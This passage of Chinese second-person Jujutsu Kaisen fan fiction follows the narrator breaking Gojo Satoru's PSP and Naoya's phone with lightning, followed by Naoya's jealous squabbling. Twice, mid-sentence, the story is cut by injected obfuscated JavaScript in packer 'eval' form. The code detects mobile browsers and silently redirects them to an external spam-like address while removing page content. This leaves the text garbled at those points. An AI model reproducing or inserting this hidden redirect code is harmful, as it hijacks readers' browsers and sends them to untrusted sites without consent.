哼哼,看来你干得很不错嘛!你要开始得意起来了。 确实,一切都进行得相当顺利,你也理应为此冒出一大堆骄傲——前提是游戏机没有突然爆发出挺吓人的“砰”一声。 一转攻势,钻进游戏机里的雷电莫名其妙地重新冒出来了,以黑烟和焦味的形式把漂亮的蓝色外壳熏得焦黑。屏幕当然早早歇菜了,在发出巨响的瞬间就已经决定罢工。手里的游戏机已经不是游戏机了,你觉得自己很像是在握着一块黑色的板砖。 一块最新款的、昂贵的、但被你弄坏了的板砖。 啊,看来是充过头了。 这这这…… 你有点尴尬,但此刻盘踞在心中的情绪也不全是尴尬,肯定还掺杂着一大堆乱七八糟的其他心情。该怎么说呢……其实,你多多少少已经预料到这种结果了——用术式给精密的游戏机充电,怎么想都不像是首次尝试就能成功的简单小事。 虽说做好了心理准备,可你真没那么情愿面对失败的结果,直到现在才迟迟地开始思索弥补的对策。 要土下座吗?现在立刻马上给五条家的新任家主磕头,诚恳地送上你的歉意,如此一来他是不是就会息怒了?怀有人类尊严的你,肯定不会随便在谁的面前毕恭毕敬地把自己的额头贴到地上,但在犯下错误的前提下抛弃尊严道歉是完全可以接受的。你相信你的尊严也是灵活的可拆卸版本,而现在显然是值得卸下自尊的时刻。 还有还有,他像直哉那么易怒吗,难道也是咋咋呼呼的家伙? 对五条家或者五条悟全都没有了解的你,此刻也只能在心里琢磨着五条悟的性格。你已经准备好要曲起膝盖了,随时都能进行标准的土下座,却先听到五条悟轻轻叹了一口气,伸手过来,把psp拿回去了,冒出的黑烟都快要把他的指尖熏黑。 “啊啊,没救了。” 不管怎么看都没救了。 五条悟冲你撇嘴,看起来却完全没有生气的迹象,只是摆出了一副无可奈何的态度,果不其然立刻送上了抱怨。 “你的名字和雷有关,怎么雷电的能力掌握得这么烂?” 面对这番不算指责的指责,你实在觉得面上无光,忍不住开口替自己辩解:“名字和能力没有关系吧?至少我觉得没有关系。还有,我的名字是鸣神,和雷没有关系——我有不叫五十里雷。” 说完这话之后,你才想起来还没有进行过自我介绍,可五条悟似乎已经知道你的名字了,明明你们在今天之前从未见过,你也不曾试着了解过他的事情。 算了,不管他知不知道你,你都该做个自我介绍,这样才比较合适。 于是你伸出手,像模像样地躬身,说:“你好,我叫五十里鸣神,是禅院家的咒术师。” 五条悟“唔”了一声,没有给出回应,也没有握住你的手,而是很奇怪地拍了一下你的掌心,随即做出了一大堆手势,怎么看都像是西海岸说唱歌手见面时才会摆出的欢迎做派,你完全跟不上他的动作。 “好了,现在我们回到雷电的话题上。” 收放自如的五条悟立刻把对话拉回到正轨上。 好吧,讨论名字貌似也没那么正经。 “古时候人们把雷电称作‘鸣神’——发出轰鸣之声的神明之怒,取的是这一重意思。”五条悟眯起眼看你,“你完全不读书吗,没有人告诉你名字的事?” 书你当然读过,只是能不能记住就是另一回事了。而且也的确没人和你说过名字的由来,为你取名父母死了都快十年,藏在你名字之中的希冀肯定也无人知晓了。 你决定略过五条悟的提问,赶紧先把道歉摆到台面上。 “我绝不是故意把事情搞砸的。”你得先声明好,这只是意外而已,“需要我怎么弥补你才行?不管是怎样的要求,我都会尽力做到的。” “倒是也不需要你做什么啦。我无所谓游戏机坏了没,买个新的就好了。” 五条悟漫不经心地说着大少爷的有钱发言,动手拆开卡槽扣。 “但游戏进度没了很让人苦恼啊。我昨天打了一整个晚上才到终于摸到最终Boss的门口,现在全都……咦,卡带倒是没坏嘛。” 他扣除疯狂冒烟的游戏卡带。疯狂冒烟的样子看起来多少有点不妙,好在数据和功能完全没有受到影响——这是六眼给他的结论。 五条悟把卡带丢给你,“打到我原来的进度嘛。” 他不会说“请”,也不说“帮忙”,理所应当地让你做事,语调听起来倒像是在撒娇。 看来,不管是在禅院家还是五条家,少爷秉性都是一脉相承的。 你还以为五条家会比禅院好上一些,看来只是从更深的坑洞挪到了稍浅一点的陷阱里而已,完全不是什么天翻地覆的改变。 当然,你也没觉得被冒犯到。作为造成此番现状的罪魁祸首,你将全盘接受来自五条家主的一切请求, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393783|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算是再无理的请求,你也会答应的。 你双手接过卡带,听着五条悟催你赶紧补上游戏记录。“我很想快点看到结局,所以你打到对应进度之后,赶紧把psp送到五条家给我——最近快递慢得要死。新的psp,我叫管家拿给你。”他做了个不高兴的鬼脸。 看来不用自己掏钱购入新机了,你立刻点头:“好。” 五条悟继续叮嘱你:“你可千万不要一口气通关哟,只要打到最终章就行,在城堡的红门前面存档!” “明白。” 你的回应好快,快到让人担心你是不是真的有在认真听。 “你完全不提出异议的吗?”五条悟对你的百依百顺感到违和。 虽说人人都要忍让他宠爱他是绝对的真理没错,但他知道,这条准则的生效范围是五条家,禅院的你可不适用。 你挠挠头,不好意思地干笑了两声,“这个嘛……我觉得我没有提出异议的,立场?” 弄坏了游戏机的人可是你,弥补过错的任务肯定也得交给你,况且连游戏机都不用再买,你觉得自己已经彻底失去挑挑拣拣的余地了。 五条悟笑起来,可能是觉得你很好玩,看你的目光也不像是看大猩猩,而是类似于在看非洲的金刚鹦鹉的那种略带欣赏的打量。 “我还以为你会是那种死板又讨厌的家伙,没想到你的性格还挺有趣的嘛。对了,你啊,” 他忽然凑过来,低下头,与你靠得很近,视线穿透你浅橄榄色的眼眸,仿佛能够就此看穿你的心脏。 “要来当五条家的咒术师吗?” 五条悟给你发内推offer了。 你下意识地做出了和五条悟一样的动作——意思就是说,你也向前倾身,彼此之间本就狭窄的距离被愈发缩短,你们的鼻尖几乎要碰在一起。 可就算是在这样的近距离之下,五条悟那双蓝色眼眸中倒映出的你的模样,还是模糊得难以分辨,如闪电似的狰狞地停留在他的瞳孔上。 你对他的邀请没那么关心,你只是觉得他的话有些奇怪。 “你知道关于我的事情,是吗?”你能感觉到,他话语间总透露着他知晓你的存在,“可我们没有见面过,对吧?我认为没有。” 五条悟笑眯眯,“真的没有吗?你对自己的记忆里好有信心呢,鸣神。” 可能你刚才还对自己的记忆里怀有自信把,可被他这么一说,总觉得有些不确信了。你试着用想象力把眼前这幅少年面容揉得更圆,镀上一层孩子气的氛围,说不定这样就能找到对应的记忆了,但似乎没能成功。 在来到禅院家之前的你的童年,身边根本没有太多同龄的孩子,更别说是这么有特征的五条悟了。他果然就是在唬你吧。 你打算戳穿他的戏弄,可才刚动了动唇,身后忽然传来了很不友好的声音。 “喂!” 阴冷崎岖的松树绿影下,直哉瞪着你,漂亮的狐狸眼几乎要裂开。 40.真的没有在嫉妒 从宴席刚刚开始之时,直哉就已经在寻找五条悟的身影了。他想找到和五条悟说话的机会。 百年一遇的六眼天才、御三家的家主继承人,直哉知道,未来他会和五条悟站在同一高度。既然如此,从现在就开始结交强者之间的友谊吧。 对于禅院与五条之间的新仇旧怨,直哉完全无所谓。好久好久之前五条家的家主和禅院家主同归于尽的陈谷子烂芝麻,他也根本不关心。只有无能的家伙才会怨恨早已成为定局的往日之事,世上绝没有比耽于过往更蠢的事情了。强者理应并肩同行,直哉确信自己和五条悟一定能够改变现状——从这个角度看,他们更需要成为朋友了。 他的设想和计划简直堪称完美,可惜眼下还有一个问题。 五条悟压根没有出现在宴席上。 要是错过了今天的机会,下次再见面,可能还要再等上一段时间吧。有积怨的禅院和五条两家,能够彼此见面的机会少之又少出。直哉不想空等,干脆早早出击,直接离席,遁入五条家的宅邸,寻找那位六眼家主。 这也是他第一次拜访五条家,弯弯绕绕的相似房屋让人头晕目眩,日光过分明亮,把他的影子衬得好黑。 走来走去,好似都是相同的路线,直哉肯定不会承认自己迷路了,鬼打墙也根本不存在,可惜事实就是,他走了好久都没有见到五条悟,就随便逮个下人,没用的家伙也不确定他们的家主去了什么地方。 真是的。 直哉多少觉得懊恼,但又很快扫清了这点不满。都说强者会吸引强者,他和五条悟之间也一定存在着特殊的羁绊,这份羁绊一定会吸引着他找到六眼。 该怎么说呢,有没有羁绊不一定,强者的吸引力很可能也只是一厢情愿的悖论而已,不过他的目标确实达成了——他见到五条悟了。 顺便还见到了你。 你一如既往没大没小也不知礼数,竟然与五条悟四目相对,距离还近得可怕。 相较之下,更加恐怖的可能是,五条悟的眼中居然没有露出半点被不快的痕迹。似乎,他没有被你的突兀行为冒犯到,看起来反而心情很好的样子。 ……哈?这算什么意思啊?凑得这么近,你们两个人是打算要接吻吗?真是……恶心死了! 不管是你主动对五条悟做出这种投怀送抱的龌龊事情,还是五条悟屈尊纡贵地想要对你做点什么,全都太诡异太违和了,直哉绝对无法接受,所以他才会忍不住出声,用一句唐突的“喂!”砸到你们之间,硬是把你们之间可怕的距离撬开来了。 “哎,直哉,原来你在这里啊。” 首要目标之寻找直哉顺利达成,你完全忘了刚才要对五条悟说点什么,一路小跑朝他走过去。 “直毘人大人在找你。” 直哉愤愤地瞪着你,不高兴的表情怎么也藏不住。一想到你和五条悟之间的那副亲昵劲,他就觉得反胃,也实在没心情和五条悟打招呼了——这都怪你,是你用没有边界感的行为败坏了禅院家的形象,就是这样! “抱歉,五条君,希望她没有给你造成什么苦恼。好了,五十里,回去了。”他站在树影下,依旧黑着脸,不嫌在旁人面前发火是丢人的事,只知道催你,“快点!” 这算什么反应,嫉妒吗?你搞不懂直哉,不过你也确实该走了。 收好游戏卡带,你向五条悟躬了躬身,郑重其事地向他保证:“我一定会尽快补上我造成的漏洞。” “尽快哟。”五条悟抱着手臂,摆出一副霸道模样,还说,“你最好明天就能搞定然后来找我。” “嗯……”你实在不敢打包票,只好说,“我会尽力。” “那就加油吧,鸣神。” 他直接用名字称呼你,好像你们真的已经熟悉到了能够用名字称呼彼此的程度。他还很皮地揪了一下你盘起的头发,这才叫人合拢茶室的门。障子横在你们之间,看来今天剩下的时间都见不到五条家的继承人了。 “好了。”你走到直哉身边,“直毘人大人说我们该回去了。不过,你吃饱了吗?没吃饱饭的话,还是先吃饱饭再走好了。五条家的饭菜还挺美味呢。” 直哉一点也不饿。就算刚才他的肚子确实空荡荡的有点难受,现在也绝对已经被恼怒填满了,他依旧盯着你眼里写满嫉妒。 是的,他嫉妒你——平平无奇无论能力还是血统都不值得放上台面的你,怎么和天才五条悟相谈甚欢了?明明他都没能做到这种事。 再说了,你和五条悟之间的对话,说得好像不久之后你们在不久之后还会见面,想一想更让他不爽了。 “你们明天还要来五条家?”他问你。 “唔……”你歪过脑袋,“你说得也不算错吧。” 直哉的脸酸到皱起来,话语像是质问:“你们俩到底什么情况?” “这个嘛……”你认真地想了想,给出抽象的高度概括,“受害者是始作俑者?” 如此概括的描述,就算当事人五条悟都不一定能够听懂吧。你简略地和直哉说明了刚才发生的事情,直到说完了也没能让他的表情缓和多少。 “你根本就是故意的吧?”直哉冷笑一声,开始曲解你的描述,“你是不是想让五条悟注意到你,所以才故意出丑的?” “这是意外,不是出丑。”你纠正他的错误说法,“我也不是故意的。我第一次把储存的雷电用来充电,掌握不好也很正常。” “我才不信你。” “那你把手机给我,我给你展示一下我的失控充电行为。” “不要。” “你不信那我只能用行动证明了嘛。” 你一向是行动派,就算听到了拒绝,也一定要按照自己的想法执行,说着就直接把手伸进直哉的和服里。他被你冷冰冰的手冻到哆嗦,还来不及推开,已经被你摸到手机了。 故技重施,电流再次钻进精密机器里,同样发出了砰的一声——直哉的手机报废了。 “看嘛,我现在确实没办法进行充电这件事。” 最新款诺基亚就这么报废了,直哉的脸色比背盖里冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396758|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的黑烟还要更黑。他真想冲过来掐你的脖子。 “你明明就是故意的。”他朝你一摊手,“赔钱!” “你好小气。五条悟就不要我赔钱。” 五条悟只索取了你的时间而已——不好,一去不复返的时间貌似比无论如何都能赚回来的金钱更加值钱吧? 直哉依然冷笑,“天才从来都不是百分百相同的。别以为巴结上五条悟,你也能成为天才。” “我没巴结他。”真的,你谁也不打算巴结,“我不喜欢你今天的说话方式,很像是在贬低我。” “贬低?事实罢了!” 看嘛,这话也是贬低。 你轻轻叹气,“能不能好好说话?” 名为直哉的这阵潮汐带来的是尖锐话语,你也应当给予同样的回击才行,可你实在不乐意(也不擅长)说那种令人反感的话语,干脆用力一掌拍在直哉的后背上,总算完成了以牙还牙的对等报复。 你的力气有目共睹,啪一声砸下来,直哉真的感觉自己的肺都要被敲碎了,然而根本无法回击。 他打不过你,这在好几年前就已经是既定事实了,并且从未改变过。但你还在打他,就意味着你依然喜欢他、而不是抱住了五条悟的大腿吧? 完了,他第一次觉得你的巴掌是件好事。 ……怎么能有这种想法!直哉果断甩甩脑袋。 行,行,他记住了,总有一天他会报着一掌(兼你巴结五条悟)之仇的! 你们以微妙的气氛与直毘人会合。禅院的家主大人完全没有注意到你们俩小孩之间别扭的不对劲——他对小孩子们的事情完全不上心,也不够敏锐,打心底无所谓你们之间的小打小闹。 不得不说,五条悟确实说到做到,你仿佛连吃带拿一般带着全新psp回去到了禅院家。 说到做到的坏处就是,你真的要满足他的要求,尽量在明天把打到指定进度的游戏送到五条家交给他了。这可不是什么简单的小事情,尤其对于平常根本没机会玩游戏的你。 脱掉沉重的和服耗费了整整一小时,摸清游戏的玩法也用了差不多的时间,你缩在被窝里,以一整晚兼双眼刺痛作为代价,总算是在朝日初升之前看到了最终章城堡的那道红门。 很好。赶紧存档然后关机,你已经不想再盯着这块屏幕多看一秒钟了——你发现自己不喜欢这游戏,推进度的几个小时简直就是酷刑。 快要累垮了,玩游戏也是体力活,你真想好好地睡一觉,但更想要快点把麻烦事交付。赶紧从床上爬起来吧,你飞快地收拾好自己,一路小跑到宅邸的侧门。 走远一点就能打到车了,你还记得五条大宅的位置,很快就能…… “五十里!” 有人在喊你,不必回头都能知道站在身后的是直哉。 他不紧不慢地走过来,扬起的下巴几乎要指向天空。 直哉当然不是为了和你问好才叫住你的,他是想要—— “你准备去见五条悟了,对吧?我和你一起去。”